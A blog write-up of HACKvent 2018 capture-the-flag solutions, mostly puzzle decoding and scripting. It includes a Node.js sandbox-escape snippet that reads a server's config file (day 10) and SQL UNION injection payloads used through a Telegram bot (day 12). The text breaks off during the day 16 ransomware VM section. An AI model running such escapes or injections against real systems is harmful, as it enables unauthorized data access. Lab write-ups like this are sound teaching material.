For the sixth time in a row now hacking-lab.com carried out the annual HACKvent. Each day from the 1st of december until the 24th a new challenge is published. I would have loved to spend more time on it, but time is a rare resource especially on the days before christmas 😉 After all I managed to solve 21 of 24 tasks:
Easy | |
Day 01: Just Another Bar Code Day 02: Me Day 03: Catch me Day 04: pirating like in the 90ies Day 05: OSINT 1 Day 06: Mondrian Day 07: flappy.pl |
|
Medium | |
Day 08: Advent Snail Day 09: fake xmass balls Day 10: >_ Run, Node, Run Day 11: Crypt-o-Math 3.0 Day 12: SmartWishList Day 13: flappy’s revenge Day 14: power in the shell |
|
Hard | |
Day 15: Watch Me Day 16: Pay 100 Bitcoins Day 17: Faster KEy Exchange Day 18: Be Evil Day 19: PromoCode Day 20: I want to play a game Day 21: muffinCTF (Day 1) Day 22: muffinCTF (Day 2) Day 23: muffinCTF (Day 3) |
|
Final | |
Day 24: Take the red pill, take the blue pill |
Day 01: Just Another Bar Code
Author: DanMcFly |
|
After a decade of monochromity, Santa has finally updated his infrastructure with color displays.
With the new color code, the gift logistic robots can now handle many more gifts: |
As stated in the challenge’s name, the provided image contains a jab-code (Just Another Bar Code). This kind of bar code has a greater amount of available data in comparison to a traditional qr-code since each pixel can not only be black or white but colored. Each color-channel (Red Green Blue) can either be 0 or 255 resulting in 8 available colors: (0,0,0), (0,0,255), (0,255,0), (0,255,255), …
The code can for example be scanned on https://jabcode.org/scan:
The flag is:
HV18-L3ts-5t4r-7Th3-Phun-G33k
Day 02: Me
Author: M.G. Lost in translation |
|
Can you help Santa decoding these numbers?
115 112 122 127 113 132 124 110 107 106 124 124 105 111 104 105 115 126 124 103 101 131 124 104 116 111 121 107 103 131 124 104 115 122 123 127 115 132 132 122 115 64 132 103 101 132 132 122 115 64 132 103 101 131 114 113 116 121 121 107 103 131 124 104 115 122 123 127 115 63 112 101 115 106 125 127 131 111 104 103 115 116 123 127 115 132 132 122 115 64 132 103 101 132 132 122 115 64 132 103 101 131 114 103 115 116 123 107 113 111 104 102 115 122 126 107 127 111 104 103 115 116 126 103 101 132 114 107 115 64 131 127 125 63 112 101 115 64 131 127 117 115 122 101 115 106 122 107 107 132 104 106 105 102 123 127 115 132 132 122 116 112 127 123 101 131 114 104 115 122 124 124 105 62 102 101 115 106 122 107 107 132 104 112 116 121 121 107 117 115 114 110 107 111 121 107 103 131 63 105 115 126 124 107 117 115 122 101 115 106 122 107 113 132 124 110 107 106 124 124 105 111 104 102 115 122 123 127 115 132 132 122 115 64 132 103 101 131 114 103 115 116 123 107 117 115 124 112 116 121 121 107 117 115 114 110 107 111 121 107 103 131 63 105 115 126 124 107 117 115 122 101 115 106 122 107 107 132 104 106 105 102 121 127 105 132 114 107 115 64 131 127 117 115 122 101 115 112 122 127 111 132 114 107 105 101 75 75 75 75 75 75 |
Step 1: octal -> ASCII
The numbers are represented in octal and can be converted to ASCII e.g. using https://www.browserling.com/tools/octal-to-text:
Step 2: base32 decode
The resulting string is base32 encoded and can be decoded e.g. using https://emn178.github.io/online-tools/base32_decode.html:
Step 3: 14-segment decode
The next string took me some time. Each word in the string represents one cipher/letter in a 14-segment display and can be decoded e.g. using http://kryptografie.de/kryptografie/chiffre/14-segment.htm:
Alternatively the following python script does each of the mentioned steps:
#!/usr/bin/env python
import base64
# step1 : octal -> ASCII
f = open('numbers.txt')
nums = f.read().split(' ')
f.close()
res1 = ''
for num in nums:
res1 += chr(int(num, 8))
print('result 1')
print('--------')
print(res1 + '\n')
# step 2: base32 decode
res2 = base64.b32decode(res1)
print('result 2')
print('--------')
print(res2 + '\n')
# step 3: 14-segment decode
segwords = res2.split(' ')
line1 = ''
for segword in segwords: line1 += ' --- ' if ('a' in segword) else ' '
line2 = ''
for segword in segwords:
line2 += '|' if ('f' in segword) else ' '
line2 += '\\' if ('h' in segword) else ' '
line2 += '|' if ('i' in segword) else ' '
line2 += '/' if ('j' in segword) else ' '
line2 += '|' if ('b' in segword) else ' '
line2 += ' '
line3 = ''
for segword in segwords:
line3 += ' - ' if ('g1' in segword) else ' '
line3 += '- ' if ('g2' in segword) else ' '
line4 = ''
for segword in segwords:
line4 += '|' if ('e' in segword) else ' '
line4 += '/' if ('k' in segword) else ' '
line4 += '|' if ('l' in segword) else ' '
line4 += '\\' if ('m' in segword) else ' '
line4 += '|' if ('c' in segword) else ' '
line4 += ' '
line5 = ''
for segword in segwords: line5 += ' --- ' if ('d' in segword) else ' '
print('result 3')
print('--------')
print(line1)
print(line2)
print(line3)
print(line4)
print(line5)
Running the script yields the flag (not quite as good readable as using the online converter):
user@host:~$ ./day02.py result 1 -------- MJRWKZTHGFTTEIDEMVTCAYTDNIQGCYTDMRSWMZZRM4ZCAZZRM4ZCAYLKNQQGCYTDMRSWM3JAMFUWYIDCMNSWMZZRM4ZCAZZRM4ZCAYLCMNSGKIDBMRVGWIDCMNVCAZLGM4YWU3JAM4YWOMRAMFRGGZDFEBSWMZZRNJWSAYLDMRTTE2BAMFRGGZDJNQQGOMLHGIQGCY3EMVTGOMRAMFRGKZTHGFTTEIDBMRSWMZZRM4ZCAYLCMNSGOMTJNQQGOMLHGIQGCY3EMVTGOMRAMFRGGZDFEBQWEZLGM4YWOMRAMJRWIZLGEA====== result 2 -------- bcefg1g2 def bcj abcdefg1g2 g1g2 ajl abcdefm ail bcefg1g2 g1g2 abcde adjk bcj efg1jm g1g2 abcde efg1jm acdg2h abcdil g1g2 acdefg2 abefg1g2 adefg1g2 abcdg2il g1g2 acdefg2 abcde abefg1g2 bcdef result 3 -------- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- | | | /| | | / | | | | | | / /| | / | | / \ | | | | | | | | | | | | | | - - - - - - - - - - - - - - - - - - - - - - - - - - - - | | | | | | | | \| | | | | | / | | \ | | | \ | | | | | | | | | | | | | | | | --- --- --- --- --- --- --- --- --- --- --- --- --- ---
The flag is:
HL18-7QTH-JZ1K-JKSD-GPEB-GJPU
Day 03: Catch me
Author: inik … if you can |
|
To get the flag, just press the button |
The challenge provides a link to the following page:
The “Get the flag” button is changing is position if you try to click it.
Pressing CTRL+U opens up the source-code view (chrome) containing the involved javascript:
Simply copy-/pasting the javascript code to a javascript beautifier like https://beautifier.io/ displays the flag in plaintext:
The flag is:
HV18-pFAT-O1Dl-HjVp-jJNE-Zju8
Day 04: pirating like in the 90ies
Author: HaRdLoCk Ahoy, my name is Santa and I want to be a pirate! |
|
go to the pirates! |
The link leads to the following page displaying 12 different faces with an country name and an input field beneath each of it:
The page contains the following javascript:
<script>
function JollyRoger() {
var elements = document.getElementsByTagName("input")
for (var i = 0; i < elements.length; i++) {
if(elements[i].value == "") {
alert('ahoy pirate! \n\nyou want jolly roger? i see empty boxes :-/');
return;
}
}
var a, b;
p=document.getElementById('pirate01').value+document.getElementById('pirate02').value+document.getElementById('pirate03').value+
document.getElementById('pirate04').value+document.getElementById('pirate05').value+document.getElementById('pirate06').value+
document.getElementById('pirate07').value+document.getElementById('pirate08').value+document.getElementById('pirate09').value+
document.getElementById('pirate10').value+document.getElementById('pirate11').value+document.getElementById('pirate12').value;
s='::)"<.vd]!&a{":r>Qyh 7';
f='HV18-';
for (i=0; i < s.length;i++) {
a = s.charCodeAt(i);
b = p.substring(i*2, i*2+2);
f+=(String.fromCharCode(a ^ b));
}
alert(f);
}
</script>
The variable p contains the concatenation of all input fields, while s contains the encrypted flag. In each iteration of the for-loop, 2 characters from p are taken and XORed with a byte of the encrypted flag stored in s. Because of the length of the flag each input field is probably supposed to contain 4 ciphers (which possibly could be a date).
At first I tried to derive the correct ciphers by determining the dashes (–) within the flag. Although this yields 2 ciphers of 4 input fields (since there are 4 dashes within the flag), it does not suffice to reconstruct the flag.
Googling for the first three country names Nebraska, Tortuag and Antigua lead me to a wikipedia article mentioning the computer game The Secret of Monkey Island. Googling a little bit further I found the following page containing the code wheel, which has been used as a copy-protection:
This is obviously a hit! 🙂
Rotating the wheel to fit the faces on the challenge-page and copying the number displayed beneath the appropriate country name yields the correct flag:
The flag is:
HV18-5o9x-4geL-7hkJ-wc4A-xp8F
Day 05: OSINT 1
Author: DanMcFly featuring the awesome R.R. It’s all about transparency |
|
Santa has hidden your daily present on his server, somewhere on port 443.
Start on https://www.hackvent.org and follow the OSINT traces. |
The website hosted on https://www.hackvent.org states that there is another virtual host on the webserver providing the flag:
Reconsidering the challenge description (It’s all about transparency) in combination with port 443 reminded me of the term Certificate Transparency (CT) I lately read about. CT basically is a public log containing digitally signed entries of the activites of all certificate authorities (CAs). The goal of CT is to detect erroneously or maliciously issued certifcates for a domain (CT on wikipedia).
The CT log can be searched for example on https://transparencyreport.google.com/https/certificates. By searching for hackvent.org and selecting Include subdomains we get a list of all issued certificates for this domain:
Browsing to osintiscoolisntit.hackvent.org yields the flag:
The flag is:
HV18-0Sin-tI5S-R34l-lyC0-oo0L
Day 06: Mondrian
Author: xorkiwi |
|
Piet’er just opened his gallery to present his pieces to you, they’d make for a great present 🙂 |
The provided link leads to the Piet’ers Gallery showing 6 different pictures:
If you have ever seen a picture like this before, it is easy to identify it as an input image for the esoteric programming language Piet. The images can be interpretated for example on npiet online.
Running the first image (“House”) yields the string HV18:
Respectively the other images produce the following output:
Tree : M4ke
Lake : S0m3
Sky : R3Al
Sheep: N1c3
Snake: artZ
Concatenating those strings (inserting the separating dashes) results in the flag:
HV18-M4ke-S0m3-R3Al-N1c3-artZ
Day 07: flappy.pl
Author: M. |
|
Time for a little game. It’s hardy obfuscated, i promise … 😉 |
The provided file contains some obfuscated perl-code:
use Term::ReadKey; sub k {ReadKey(-1)}; ReadMode 3;
sub rk {$Q='';$Q.=$QQ while($QQ=k());$Q}; $|=1;
print "\ec\e[0;0r\e[4242;1H\e[6n\e[1;1H";
($p .= $c) until (($c=k()) eq 'R'); $x=75;$dx=3;
(($yy) = ($p =~ /(\d+);/))&&($yy-=10);
print (("\r\n\e[40m\e[37m#".(' 'x78)."#")x100);
$r=(sub {$M=shift; sub {$M=(($M*0x41C64E6D)+12345)&0x7FFFFFFF;$M%shift;}})
->(42);$s=(sub {select($HV18, $faLL, $D33p, shift);});$INT0?$H3ll:$PERL;
@HASH=unpack("C*",pack("H*",'73740c12387652487105575346620e6c55655e1b4b6b6f541a6b2d7275'));
for $i(0..666){$s->(0.1);print("\e[40;91m\e[${yy};${x}H.");
$dx += int(rk() =~ / /g)*2-1; $dx = ($dx>3?3:($dx<-3?-3:$dx));
$x += $dx; ($x>1&&$x<80)||last;
(($i%23)&&print ("\e[4242;1H\n\e[40m\e[37m#".(' 'x78)."#"))||
(($h=20+$r->(42))&&(print ("\e[4242;1H\n\e[40m\e[37m#".
((chr($HASH[$i/23]^$h))x($h-5)).(" "x10).((chr($HASH[$i/23]^$h))x(73-$h))."#")));
(($i+13)%23)?42:((abs($x-$h)<6)||last);
print ("\e[${yy};${x}H\e[41m\e[37m@");
}; ReadMode 1;###################-EOF-flappy.pl###############
Running the file with perl turns out that this is a small flappy bird clone:
As can be seen in the screenshot above, the walls, which have to be passed by, obviously contain single letters of the flag.
Since finshing the game until the last letter is displayed seems to be quite challenging, we should search a way to patch the perl-script to print all letters of the flag independent of your gaming skills.
After playing around a little bit with the code, I figured out that it suffices to clear out the two ||last statements within the for-loop since this is the game’s main-loop and the last statement aborts the execution of the loop if a wall is hit (like break in a lot of other languages).
The adjusted part of the perl-code:
...
$x += $dx; ($x>1&&$x<80);
...
...
(($i+13)%23)?42:((abs($x-$h)<6));
...
With this little adjustment the program keeps running even if the wall is hit printing the whole flag:
The flag is:
HV18-bMnF-racH-XdMC-xSJJ-I2fL
Day 08: Advent Snail
Author: otaku |
|
In cyberstan there is a big tradition to backe advents snails during advent. |
The provided image is obviously a messed up qr-code. The sticking point is how to rearrange the single dots to form a valid qr-code. Since the challenge’s title as well as the description mention the word snail, the qr-code can probably be reconstructed by reading the image in a spiral.
In a qr-code of the size 25×25 the first line should start with 7 black dots. Taking this into account we can start from the inner within the image wrapping up the qr-code:
The only thing left to do is to write a python-script, which reads the image into a two-dimensional array and generates a new image printing out the dots in a spiral as displayed in the above image.
The following quick-and-dirty python-script does this 🙂
Note: I read the pixels with a absolute offset from the following cutout of the original image:
#!/usr/bin/env python
from PIL import Image
dots = [16,22,29,35,42,48,54,60,67,74,80,86,92,99,106,111,118,124,131,138,143,150,156,162,170]
img = Image.open('4dv3ntSn4il2.png')
pix = img.load()
# create two-dimensional array (0 = white, 1 = black)
arr = []
for y in dots:
arr.append([])
for x in dots:
if (pix[x,y] == (0,0,0,255)): arr[len(arr)-1].append(1)
else: arr[len(arr)-1].append(0)
im2 = Image.new("RGB", (31,31), "white")
pix2 = im2.load()
# we want to start in the center of the image
x = 12
y = 12
# the inital step-size is 1
stepSize = 1
# we havn't done any steps yet
steps = 0
# in each step we either go up (0,-1), down (0,1), left(-1,0) or right(1,0)
dx = 0
dy = -1
# we want to store the final qr-code in the array 'out'
out = []
# there are 25 dots in each column
for i in range(25):
out.append([])
# also, there are 25 dots in each row
for j in range(25):
out[i].append(arr[y][x])
# 1 means we got a black pixel (the base-color of the image is white)
if (arr[y][x] == 1): pix2[j+3,i+3] = (0,0,0)
# take the next step
x += dx
y += dy
# we took the nex step
steps += 1
# already reached the step-size?
if (steps == stepSize):
# we moved on the y-axis: change direction, reset steps
if (dx == 0):
dx = -dy
dy = 0
steps = 0
# we moved on the x-axis: change direction, reset steps and increase step-size
else:
dy = dx
dx = 0
steps = 0
stepSize += 1
# save final output to 'out.png'
im2.save('out.png')
The resulting image (out.png) contains the valid qr-code:
Scanning it yields the flag:
HV18-$$nn-@@11-LLr0-B1ne
Day 09: fake xmass balls
Author: M. |
|
A rogue manufacturer is flooding the market with counterfeit yellow xmas balls.They are popping up like everywhere!
Can you tell them apart from the real ones? Perhaps there is some useful information hidden in the fakes… |
We basically got two images. The original medium_64.png at https://hackvent.hacking-lab.com/img/medium_64.png:
As well as the fake medium_64.png from the challenge at https://hackvent.hacking-lab.com/medium-64.png:
I started by comparing the filestructure of both images using exiftool, pngcheck and binwalk. Although they differ, it did not seem like there are hidden any useful information.
At next I compared the actual RGBA-values of each pixel using the following python script:
root@kali:~/Documents/hv18/day09# cat compare.py
#!/usr/bin/env python
from PIL import Image
im = Image.open('medium-64-fake.png')
px = im.load()
im2 = Image.open('medium_64.png')
px2 = im2.load()
for i in range(64):
for j in range(64):
r = px[i,j][0] - px2[i,j][0]
g = px[i,j][1] - px2[i,j][1]
b = px[i,j][2] - px2[i,j][2]
a = px[i,j][3] - px2[i,j][3]
if (r != 0): print("R-value differs ("+str(r)+") at ["+str(i)+","+str(j)+"]")
if (g != 0): print("G-value differs ("+str(g)+") at ["+str(i)+","+str(j)+"]")
if (b != 0): print("B-value differs ("+str(b)+") at ["+str(i)+","+str(j)+"]")
if (a != 0): print("A-value differs ("+str(a)+") at ["+str(i)+","+str(j)+"]")
Running the script ….
root@kali:~/Documents/hv18/day09# ./compare.py
G-value differs (1) at [20,27]
G-value differs (-1) at [20,29]
G-value differs (-1) at [20,32]
G-value differs (1) at [20,33]
G-value differs (1) at [20,34]
G-value differs (1) at [20,36]
G-value differs (-1) at [20,37]
G-value differs (-1) at [21,21]
G-value differs (1) at [21,22]
G-value differs (-1) at [21,23]
G-value differs (-1) at [21,24]
G-value differs (-1) at [21,25]
G-value differs (1) at [21,27]
...
… revealed that only the G-value differs by one (+1/-1) in 313 pixels.
That’s probably not a coincidence. So let’s simply create a new image highlighting those pixels by setting them to black:
root@kali:~/Documents/hv18/day09# cat genImage.py
#!/usr/bin/env python
from PIL import Image
im = Image.open('medium-64-fake.png')
px = im.load()
im2 = Image.open('medium_64.png')
px2 = im2.load()
im3 = Image.new('RGB', (64,64), 'white')
px3 = im3.load()
for i in range(64):
for j in range(64):
g = px[i,j][1] - px2[i,j][1]
if (g == 0): px3[i,j] = (0,0,0)
im3.save('out.png')
The resulting image (out.png) is a qr-code:
To get rid of the black border around the qr-code we adjust the condition a little bit:
...
if (g == 0 and i>19 and i<45 and j>19 and j<45): px3[i,j] = (0,0,0)
...
Now we get a smooth qr-code which can be scanned properly:
The flag is:
HV18-PpTR-Qri5-3nOI-n51a-42gJ
Day 10: >_ Run, Node, Run
Author: zanidd |
|
Santa has practiced his nodejs skills and wants his little elves to practice it as well, so the kids can get the web- app they wish for.
He made a little practice- sandbox for his elves. Can you break out? Location: http://whale.hacking-lab.com:3000/ |
The provided link leads to the following website:
The See the code! link at the bottom of the page shows the source code of the nodejs-application:
const {flag, port} = require("./config.json");
const sandbox = require("sandbox");
const app = require("express")();
app.use(require('body-parser').urlencoded({ extended: false }));
app.get("/", (req, res) => res.sendFile(__dirname+"/index.html"));
app.get("/code", (req, res) => res.sendFile(__filename));
app.post("/run", (req, res) => {
if (!req.body.run) {
res.json({success: false, result: "No code provided"});
return;
}
let boiler = "const flag_" + require("randomstring").generate(64) + "=\"" + flag + "\";\n";
new sandbox().run(boiler + req.body.run, (out) => res.json({success: true, result: out.result}));
});
app.listen(port);
The flag is read into a const variable called flag from the file ./config.json (line 1).
The flag variable is then used to build up a string (boiler) assigning the content of it to a variable called flag_ followed by 64 random-characters (line 17). This string is passed along with req.body.run (which contains the code we can entered in the textarea on the website) to the run method of the sandbox.
Since the name of the flag_??? variable is generated randomly it cannot be referenced directly. So I started by trying to print the global scope containing the variable. This did not succeed, because it is a const variable, which is not added to this as it would have been the case if it was defined as flag_??? = flag;. A quick example shows the problem:
Input: x = 3;this
Output: { console: {}, process: { stdout: {} }, x: 3 } // this contains 'x'
Input: const x = 3;this
Output: { console: {}, process: { stdout: {} } } // this does NOT contain 'x'
As I did not find a way to read the flag_??? variable this way, I started googling for escaping nodejs sandboxes and stumbled upon the following link: https://github.com/patriksimek/vm2/issues/32.
The second post proposes the following code to renable the require-statement, which is not suposed to be working in the sandbox:
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
...
Using this we can easily print the contents of the file ./config.json, which contains the flag:
const require1 = ((this.constructor.constructor)("return process")()).mainModule.require;
require1("./config.json");
The flag is:
HV18-YtH3-S4nD-bx5A-Nt4G
Day 11: Crypt-o-Math 3.0
Author: Lukasz_D |
|
Last year’s challenge was too easy? Try to solve this one, you h4x0r!
c = (a * b) % p finding “a” will give you the flag. |
The task is basically similar to the Crypt-o-Math 2.0 challenge from last year (HACKvent17 Day11).
Similar to last year the equation can for example be solved by using an online equation solver like https://www.dcode.fr/modular-equation-solver. Another way is to use gmpy2 for python (see solution from mcia in the offical writeup for HACKvent2017):
root@kali:~/Documents/hv18/day11# cat h.py
#!/usr/bin/env python
import gmpy2
c = 0x7E65D68F84862CEA3FCC15B966767CCAED530B87FC4061517A1497A03D2
p = 0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9
b = 0x7BBE3A50F28B2BA511A860A0A32AD71D4B5B93A8AE295E83350E68B57E5
inv = gmpy2.invert(b,p)
a = c * inv % p
print(a)
print(hex(a))
a = hex(a).lstrip("0x")
print(str(a).decode('hex'))
Running the script:
root@kali:~/Documents/hv18/day11# ./solveEquation.py
31203092237148810178812127507761703323636375061497699755717548622982799
0x485631382d4288bb2cdf615fc4576b25ba2ee4c74f5e8598ba6bbdfae8f
Traceback (most recent call last):
File "./h.py", line 16, in
print(str(a).decode('hex'))
File "/usr/lib/python2.7/encodings/hex_codec.py", line 42, in hex_decode
output = binascii.a2b_hex(input)
TypeError: Odd-length string
Huh? The resulting value for a obviously begins with ‘HV18-‘ (0x485631382d), but its length is odd. Also the following hex-values after ‘HV18-‘ does not really make sense: ..4288bb2cdf = ..B\x88\xbb,\df. Let’s reconsider the equation:
c = (a * b) % p
Obviously there are more solutions for a to fulfill the equation. As we already have a solution (our odd-length hex string), we can produce more solutions by simply adding n * p to it. The equation will stay valid since the multiple of p is truncated by the modulo operation:
c = ((a+n*p) * b) % p
So let’s loop over possible values for n:
root@kali:~/Documents/hv18/day11# cat loopN.py
#!/usr/bin/env python
a = 0x485631382d4288bb2cdf615fc4576b25ba2ee4c74f5e8598ba6bbdfae8f
p = 0xDD8E05FF296C792D2855DB6B5331AF9D112876B41D43F73CEF3AC7425F9
x = 0
while True:
x +=1
a += p
print(hex(a) + "("+str(x)+")")
As we are searching for a valid flag, the resulting value should begin with 0x485631382d (‘HV18-‘):
root@kali:~/Documents/hv18/day11# ./loopN.py | grep 0x485631382d
0x485631382d784c76592d54654e542d596745682d7742754c2d6246667a0000L(1337)
Adding p to a 1337-times produces a valid flag (flag = a + 1337*p).
The only thing left to do is converting the result to ASCII:
>>> '485631382d784c76592d54654e542d596745682d7742754c2d6246667a'.decode('hex')
'HV18-xLvY-TeNT-YgEh-wBuL-bFfz'
The flag is:
HV18-xLvY-TeNT-YgEh-wBuL-bFfz
Day 12: SmartWishList
Author: xorkiwi featuring avarx and muffinx |
|
Santa’s being really innovative this year!
Send your wishes directly over your favorite messenger (telegram): @smartwishlist_bot Hint(s): How does the bot differentiate your wishes from other people? |
The bot can be contacted by sending a message to @smartwishlist_bot with telegram (I used the web interface):
The bot provides the following commands:
/start Start the bot. /help Show commands. /addwish Add wish to whistlist. /removewish Remove wish from wishlist. /showwishes Show your whistlist. /stop Stop the bot.
At first I was wondering why my whishlist eventually contained wishes, which I definetley did not add. After the release of the hint, it was quite clear, that the bot does not differentiate the users by an unique ID but the user’s name.
Editing my name in the application’s preferences inserting some special characters to detect possible injection points revealed that the bot is vulnerable to MySQL-injection within the user’s name.
After trying out different payloads, it turned out, that the vulnerability can be used to UNION-append 2 fields. Thus I changed my prename to the following in order to list all tables of the database:
' union select 1,table_name FROM information_schema.columns;#
The injection can be triggered with the /showwishes command:
Scrolling to the default MySQL-tablenames the following table caught my attenion:
I tried to enumerate the columns of the table, which did not suceed because of the size limitation of the name. Nevertheless educated-guessing yielded the desired value:
' union select 1,flag FROM SecretStore;#
The flag is:
HV18-M4k3-S0m3-R34L-N1c3-W15h
Day 13: flappy’s revenge
Author: M. |
|
There were some rumors that you were cheating at our little game a few days ago … like godmode, huh?
Well, show me that you can do it again – no cheating this time. Location: telnet whale.hacking-lab.com 4242 |
Just like on day 07 we are faced with a small flappy bird clone. But this time it is not running locally and we can’t just patch the source-code.
The game can be played by simply connecting to the provided address/port using telnet.
After playing it for the first time, I thought about how to program a bot, which maneuvers the little bird through the different walls.
The second time I played I actually reached more than half of the flag and changed my mind believing that it might actually be possible to simply solve the game manually.
And that’s how I did it. After hitting a wall and thus failing the game, I copied all output from the telnet-session to a texteditor, which I deployed right beside my console in order to be able to quickly determine where the hole in the next wall will be.
After reaching the full flag my texteditor looked like this:
#HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHHHH#
#VVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV#
#11111111111111111111111111111111111111111111111111111111 111111111111#
#8888888888888888888888888888888888888 8888888888888888888888888888888#
#---------------- ----------------------------------------------------#
#999999999999999 99999999999999999999999999999999999999999999999999999#
#hhhhhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh#
#YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY#
#ffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffff#
#----------------------------------- ---------------------------------#
#LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL#
#SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS SSSSSSSSSSSSSSSSSSSSSSS#
#YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY#
#1111111111111111111111111111111111111 1111111111111111111111111111111#
#------------------------------ --------------------------------------#
#hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh hhhhhhhhhhhhhhhhhhhhh#
#WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW WWWWWWWWWWWWWWWWWWWWWWWW#
#ddddddddddddddddddddddddddddddddddd ddddddddddddddddddddddddddddddddd#
#ZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ#
#------------------------------------------------- -------------------#
#4444444444444444444444444444444444444444444444 4444444444444444444444#
#999999999999999999999999999999999999999999999999999 99999999999999999#
#66666666666666666666666666666666 666666666666666666666666666666666666#
#nnnnnnnnnnnnnnnnnnnnnnnnn nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn#
#-------------------------------------------------- ------------------#
#MMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM#
#bbbbbbbbbbbbbbbbbbbbbbbbbb bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb#
#ddddddddddddddd ddddddddddddddddddddddddddddddddddddddddddddddddddddd#
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa#
It took me about 15 minutes and thus was probably a lot faster than programming a bot.
The flag is:
HV18-9hYf-LSY1-hWdZ-496n-Mbda
Day 14: power in the shell
Author: HaRdLoCk |
|
seems to be an easy one … or wait, what?
Encryped flag: 2A4C9AA52257B56837369D5DD7019451C0EC04427EB95EB741D0273D55 |
In the first line of the provided powershell-script (power.ps1) another powershell-script (flag.ps1) is included, which we do not have access to:
. "$PSScriptRoot\flag.ps1" #thumbprint 1398ED7F59A62962D5A47DD0D32B71156DD6AF6B46BEA949976331B8E1
if ($PSVersionTable.PSVersion.Major -gt 2)
{
$m = [System.Numerics.BigInteger]::Parse($flag, 'AllowHexSpecifier');
$n = [System.Numerics.BigInteger]::Parse("0D8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721", 'AllowHexSpecifier');
$c = [System.Numerics.BigInteger]::ModPow($m, 1+1, $n)
write-host "encrypted flag:" $c.ToString("X");
}
Obviously within that script a variable called $flag is defined. The value of this variable is simply squared and reduced to the modulo 0xD8A7A45D…. The challenge description contains the resulting value for the flag: 0x2A4C9AA522…. So we have basically the following equation:
c = m^2 % n
Where:
- c is the encrypted flag: 0x2A4C9AA52257B56837369D5DD7019451C0EC04427EB95EB741D0273D55
(decimal: 1140385111472943454874627320369403984972910918371637407390282283433301) - m is the flag, which we do not know
- n is the modulo-value: 0xD8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721
(decimal: 5841003248923821029983205516125362074880976378154066185495120324708129)
This equation can be rearranged to the following (renaming m to x):
x^2 - c = 0 (mod n)
Now we can use an online equation solver like https://www.alpertron.com.ar/QUADMOD.HTM (taking care to set the variables appropriately):
After a few seconds of calculation we see four resulting values for x:
Converting those values to ASCII reveals that the third value (1950…) contains the flag:
root@kali:~/Documents/hv18/day14# python
Python 2.7.15+ (default, Nov 28 2018, 16:27:22)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = '1950 193264 821848 293290 734419 289624 666092 325628 102847 269817 934129 490521'
>>> x = x.replace(' ', '')
>>> hex(int(x))[2:-1].decode('hex')
'HV18-DzKn-62Qz-dAab-fEou-ImjY'
The flag is:
HV18-DzKn-62Qz-dAab-fEou-ImjY
Day 16: Pay 100 Bitcoins
Author: inik … or find the flag |
|
It changed the host. Fortunately it doesn’t do the full job … so there’s hope. Get the things straight again and find the flag.
The OS is encrypted, but you know the key: IWillNeverGetAVirus Download the image here: local download link or here: external download link Important: Pleas visit also day 15, wich is now available too! |
When running the provided .ova file in VirtualBox an error message appears which states, that one of our disks contains errors and needs to be repaired:
In truth this is not an error message but already part of the petya ransomware encrypting our data. After the encryption is done, we can see the peculiar red skull of petya:
… and are prompted to purchase a key on the darknet:
The challenge description states, that the OS is encrypted, but we know the key (IWillNeverGetAVirus).
So let’s start by extracting the .ova file:
root@kali:~/Documents/hv18/day16# tar -xvf HACKvent_thx_awesome_1n1k.ova
HACKvent.ovf
HACKvent-disk001.vmdk
We can now mount the virtual hard disk (HACKvent-disk001.vmdk) using guestmount (on kali linux you need to install the package libguestfs-tools):
root@kali:~/Documents/hv18/day16# mkdir /mnt/vmdk
root@kali:~/Documents/hv18/day16# guestmount -a HACKvent-disk001.vmdk -i --ro /mnt/vmdk
Enter key or passphrase ("/dev/sda2"):
For the passphrase we enter IWillNeverGetAVirus. After the virtual hard disk has been mounted, we can access it in /mnt/vmdk:
root@kali:~/Documents/hv18/day16# cd /mnt/vmdk/
root@kali:/mnt/vmdk# ls -al
total 48
drwxr-xr-x 20 root root 1024 Nov 30 04:51 .
drwxr-xr-x 3 root root 4096 Dec 17 06:59 ..
drwxr-xr-x 2 root root 3072 Nov 30 04:52 bin
drwxr-xr-x 3 root root 1024 Nov 30 04:57 boot
drwxr-xr-x 2 root root 1024 Nov 30 04:51 dev
drwxr-xr-x 23 root root 3072 Nov 30 04:53 etc
drwxr-xr-x 2 root root 1024 Nov 30 04:51 home
drwxr-xr-x 8 root root 3072 Nov 30 04:51 lib
drwx------ 2 root root 12288 Nov 30 04:50 lost+found
drwxr-xr-x 5 root root 1024 Nov 30 04:51 media
drwxr-xr-x 2 root root 1024 Nov 30 04:51 mnt
drwxr-xr-x 2 root root 1024 Nov 30 04:51 proc
drwx------ 2 root root 1024 Nov 30 04:57 root
drwxr-xr-x 2 root root 1024 Nov 30 04:51 run
